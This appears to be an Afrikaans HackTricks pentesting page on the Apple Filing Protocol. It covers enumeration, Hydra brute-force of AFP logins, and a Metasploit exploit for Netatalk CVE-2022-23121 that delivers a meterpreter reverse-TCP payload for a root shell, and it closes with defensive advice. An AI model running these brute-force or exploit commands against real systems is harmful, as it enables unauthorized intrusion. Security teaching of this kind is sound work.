# 548 - Pentesting Apple Filing Protocol (AFP) {{#include ../banners/hacktricks-training.md}} ## Basiese Inligting Die **Apple Filing Protocol** (**AFP**), voorheen bekend as AppleTalk Filing Protocol, is 'n gespesialiseerde netwerkprotokol ingesluit binne **Apple File Service** (**AFS**). Dit is ontwerp om lêerdienste vir macOS en die klassieke Mac OS te bied. AFP val op deur ondersteuning van Unicode-lêernames, POSIX-styl en ACL-toestemmings, hulpbronne-forks, benoemde uitgebreide eienskappe en gesofistikeerde lêer-slotmeganismes. Alhoewel AFP deur SMB in moderne macOS-uitgawes vervang is (SMB is die verstek sedert OS X 10.9), word dit steeds aangetref in: * Erflike macOS / Mac OS 9 omgewings * NAS-toestelle (QNAP, Synology, Western Digital, TrueNAS…) wat die oopbron **Netatalk** daemon inkorporeer * Gemengde-OS-netwerke waar Time-Machine-over-AFP steeds geaktiveer is **Verstek TCP Poort:** **548** (AFP oor TCP / DSI) ```bash PORT STATE SERVICE 548/tcp open afp ``` --- ## Opname ### Vinning van vinnige banier / bediener inligting ```bash # Metasploit auxiliary use auxiliary/scanner/afp/afp_server_info run RHOSTS= # Nmap NSE nmap -p 548 -sV --script "afp-* and not dos" ``` Nuttige AFP NSE skripte: | Skrip | Wat dit doen | |-------|--------------| | **afp-ls** | Lys beskikbare AFP volumes en lêers | | **afp-brute** | Wagwoord brute-force teen AFP aanmelding | | **afp-serverinfo** | Dump bediener naam, masjien tipe, AFP weergawe, ondersteunde UAMs, ens. | | **afp-showmount** | Lys gedeeltes saam met hul ACLs | | **afp-path-vuln** | Detecteer (en kan ontgin) gids-deurdring, CVE-2010-0533 | Die NSE brute-force skrip kan gekombineer word met Hydra/Medusa as meer beheer benodig word: ```bash hydra -L users.txt -P passwords.txt afp:// ``` ### Interacting with shares *macOS* ```bash # Finder → Go → "Connect to Server…" # or from terminal mkdir /Volumes/afp mount_afp afp://USER:[email protected]/SHARE /Volumes/afp ``` *Linux* (gebruik `afpfs-ng` ‑ ingepak in die meeste distros) ```bash apt install afpfs-ng mkdir /mnt/afp mount_afp afp://USER:[email protected]/SHARE /mnt/afp # or interactive client afp_client ``` Sodra dit gemonteer is, onthou dat klassieke Mac hulpbronne-forks as verborge `._*` AppleDouble lêers gestoor word – hierdie hou dikwels interessante metadata wat DFIR gereedskap mis. --- ## Algemene Kw vulnerabilities & Exploitatie ### Netatalk ongeverifieerde RCE-ketting (2022) Verskeie NAS verskaffers het **Netatalk ≤3.1.12** gestuur. 'n Gebrek aan grensekontrole in `parse_entries()` laat 'n aanvaller toe om 'n kwaadwillige **AppleDouble** kop te vervaardig en **remote root** te verkry voor verifikasie (**CVSS 9.8 – CVE-2022-23121**). 'n Volledige skrywe deur NCC Group met PoC wat Western-Digital PR4100 exploiteer, is beskikbaar. Metasploit (>= 6.3) verskaf die module `exploit/linux/netatalk/parse_entries` wat die payload via DSI `WRITE` lewer. ```bash use exploit/linux/netatalk/parse_entries set RHOSTS set TARGET 0 # Automatic (Netatalk) set PAYLOAD linux/x64/meterpreter_reverse_tcp run ``` As die teiken 'n geraakte QNAP/Synology firmware draai, lei suksesvolle uitbuiting tot 'n shell as **root**. ### Netatalk OpenSession heap overflow (2018) Ou Netatalk (3.0.0 - 3.1.11) is kwesbaar vir 'n out-of-bounds skrywe in die **DSI OpenSession** handler wat nie-geverifieerde kode-uitvoering toelaat (**CVE-2018-1160**). 'n Gedetailleerde ontleding en PoC is deur Tenable Research gepubliseer. ### Ander noemenswaardige probleme * **CVE-2022-22995** – Symlink herleiding wat lei tot arbitrêre lêer skrywe / RCE wanneer AppleDouble v2 geaktiveer is (3.1.0 - 3.1.17). * **CVE-2010-0533** – Gids traversering in Apple Mac OS X 10.6 AFP (gedetecteer deur `afp-path-vuln.nse`). * Meerdere geheue-veilige foute is reggestel in **Netatalk 4.x (2024)** – dit word aanbeveel om op te gradeer eerder as om individuele CVE's te patch. --- ## Verdedigende Aanbevelings 1. **Deaktiveer AFP** tensy dit streng nodig is – gebruik eerder SMB3 of NFS. 2. As AFP moet bly, **opgradeer Netatalk na ≥ 3.1.18 of 4.x**, of pas verskaffer firmware toe wat die 2022/2023/2024 patches terugbring. 3. Handhaaf **Sterk UAMs** (bv. *DHX2*), deaktiveer duidelike teks en gaslogin. 4. Beperk TCP 548 tot vertroude subnetwerke en verpak AFP binne 'n VPN wanneer dit van buite blootgestel word. 5. Periodesk scan met `nmap -p 548 --script afp-*` in CI/CD om rogue / afgedateerde toestelle te vang. --- ### [Brute-Force](../generic-hacking/brute-force.md#afp) ## Verwysings * Netatalk Veiligheidsadvies CVE-2022-23121 – "Arbitrêre kode-uitvoering in parse_entries" * Tenable Research – "Exploiting an 18-Year-Old Bug (CVE-2018-1160)" {{#include ../banners/hacktricks-training.md}}